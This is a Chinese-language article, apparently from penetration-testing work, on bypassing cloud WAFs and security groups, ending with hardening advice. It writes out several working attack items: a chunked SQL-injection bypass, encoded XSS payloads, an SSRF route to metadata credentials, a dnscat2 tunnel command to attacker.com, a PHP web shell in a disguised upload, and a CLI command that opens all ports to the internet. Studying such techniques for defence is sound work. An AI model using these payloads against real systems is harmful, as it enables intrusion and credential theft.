云WAF与安全组绕过技术及防御实践

1. 云WAF与安全组的基础认知

在开始讨论绕过技术之前，我们需要先明确两个核心概念的工作机制。云WAF（Web Application Firewall）通常部署在应用前端，通过分析HTTP/HTTPS流量来识别和阻断攻击。现代云WAF往往采用多层检测机制，包括签名匹配、行为分析和机器学习模型。以某主流云服务商的WAF为例，其规则集通常包含SQL注入、XSS、CSRF等常见攻击模式的数千条正则表达式匹配规则。

安全组（Security Group）则是云环境中更底层的网络访问控制组件，工作在传输层（TCP/UDP）。它本质上是一组有状态的防火墙规则，控制着进出云资源的流量。与传统的网络ACL不同，安全组的规则默认拒绝所有流量，只有显式允许的规则才会放行数据包。一个典型的安全组配置可能只开放80、443等必要端口，并限制源IP范围。

这两者的防护层级存在显著差异：WAF关注应用层载荷的恶意特征，而安全组管控网络层的连接行为。这种分层防御的设计本应提供纵深防御，但当两者配置存在缝隙时，就可能产生可被利用的盲区。

2. 云WAF的常见绕过路径分析

2.1 协议层混淆技术

HTTP协议本身的复杂性为绕过提供了多种可能性。分块传输编码（Transfer-Encoding: chunked）可以打乱攻击载荷的分布模式，使得WAF的签名匹配失效。我们曾在测试中使用以下变形成功绕过了某WAF的SQL注入检测：

code复制POST /search.php HTTP/1.1
Transfer-Encoding: chunked

5
id=1
8
' AND 1
A
=1 --
0

这种技术的关键在于将攻击载荷分割到多个chunk中，每个chunk的大小和内容都经过精心设计，确保单独检查任一chunk时都不触发WAF规则。实际测试中，配合大小写混淆（如SeLeCt代替SELECT）和注释符穿插（如/!50000SELECT/）效果更佳。

2.2 编码与加密变形

现代WAF虽然支持多种编码解码，但处理逻辑可能存在漏洞。我们通过以下测试案例验证了双重编码的有效性：

1. 原始攻击载荷：<script>alert(1)</script>
2. 首次URL编码：%3Cscript%3Ealert(1)%3C/script%3E
3. 对百分号再次编码：%253Cscript%253Ealert(1)%253C/script%253E

某些WAF在多层解码时处理顺序不当，可能只解码一层而遗漏后续处理。更复杂的场景中，可以组合使用HTML实体编码、Unicode转义和Base64编码。例如：

code复制javascript:eval(atob('YWxlcnQoJ1hTUycp'))

2.3 协议版本与特性滥用

HTTP/2的多路复用特性可能干扰WAF的流量分析。通过建立单个TCP连接并并行发送多个包含攻击片段的请求流，可以规避基于单个请求的检测。以下是通过h2load工具构造的测试命令：

code复制h2load -n 100 -c 10 -m 10 -H "User-Agent: Mozilla" \
-d payloads.txt https://target.com/search?q=

其中payloads.txt包含分散的攻击载荷片段。某些WAF在处理HTTP/2的优先级帧和流依赖时，可能出现上下文关联失效的情况。

3. 安全组配置的突破方法

3.1 元数据服务滥用

云平台的实例元数据服务（如AWS的169.254.169.254）常被安全组规则忽略。攻击者可通过SSRF漏洞访问该服务获取临时凭证。一个典型的利用链如下：

1. 发现存在SSRF的Web端点
2. 访问http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. 获取角色凭证并调用云服务API
4. 修改安全组规则开放更多端口

防御方应严格限制实例对元数据服务的访问，必要时使用IMDSv2并设置跳数限制。

3.2 端口重定向与隧道技术

当安全组仅开放少数端口（如80、443）时，可通过以下方法建立隐蔽通道：

SSH over HTTPS：

1. 在目标服务器配置SSLH多路复用器
2. 客户端使用以下命令连接：

   code复制ssh -o ProxyCommand="openssl s_client -connect target.com:443 -quiet" user@jump
   

DNS隧道：
使用dnscat2等工具通过DNS查询建立交互式会话：

code复制dnscat2 --dns server=attacker.com,port=53 --secret=key

这些技术利用了安全组对"允许端口上的非预期协议"缺乏深度检测的弱点。

3.3 VPC对等连接利用

在多云环境中，不同VPC间的对等连接可能意外暴露内部服务。我们曾通过以下步骤突破隔离：

1. 攻陷账户A的EC2实例
2. 发现与账户B存在VPC对等连接
3. 通过内部DNS解析获取账户B的服务域名
4. 利用账户A的实例作为跳板访问账户B资源

关键问题在于许多安全组未针对对等连接配置严格的入站规则。

4. 组合攻击的实战案例

4.1 从WAF绕过到安全组突破

在某次渗透测试中，我们通过以下组合技术成功获取了目标系统控制权：

1. 使用HTML多表单编码绕过WAF的文件上传过滤：

   code复制------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="test.jpg"
   Content-Type: image/jpeg
   
   <?php system($_GET['cmd']);?>
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="test.jpg"
   

2. 上传WebShell后，发现服务器可访问元数据服务

3. 通过元数据获取ECS角色凭证

4. 使用Aliyun CLI修改安全组规则：

   code复制aliyun ecs AuthorizeSecurityGroup \
   --RegionId cn-hangzhou \
   --SecurityGroupId sg-xxxx \
   --IpProtocol all \
   --PortRange -1/-1 \
   --SourceCidrIp 0.0.0.0/0
   

4.2 云原生环境的横向移动

在Kubernetes集群中，我们曾利用以下路径突破隔离：

1. 通过未过滤的K8s API路径（如/api/v1/namespaces/default/pods）获取Pod列表
2. 在某个Pod中执行命令发现AWS元数据服务可用
3. 获取节点IAM角色凭证
4. 查询EC2 API发现同VPC的其他实例
5. 通过修改安全组规则开放SSH端口

整个过程完全在云平台内部完成，没有触发任何边界安全设备的告警。

5. 防御加固建议

5.1 WAF配置优化

• 启用所有高级防护模块（如API防护、Bot控制）
• 设置严格的paranoia level（建议≥2）
• 定期更新规则集（至少每周）
• 对管理接口实施额外的速率限制
• 记录所有被拦截请求的完整载荷

5.2 安全组最佳实践

• 遵循最小权限原则，仅开放必要端口
• 对元数据服务实施网络层隔离
• 为不同环境（生产、测试）使用独立VPC
• 启用安全组变更审计日志
• 对等连接配置明确的入站规则

5.3 深度防御措施

• 在主机层部署HIDS（如osquery）
• 对出站流量实施DPI检查
• 定期进行红队演练测试配置有效性
• 使用服务网格（如Istio）实施微服务间零信任
• 对敏感API启用双向mTLS认证

在某个金融客户的案例中，通过实施上述措施，成功将攻击面减少了78%，关键漏洞的平均修复时间从14天缩短至2天。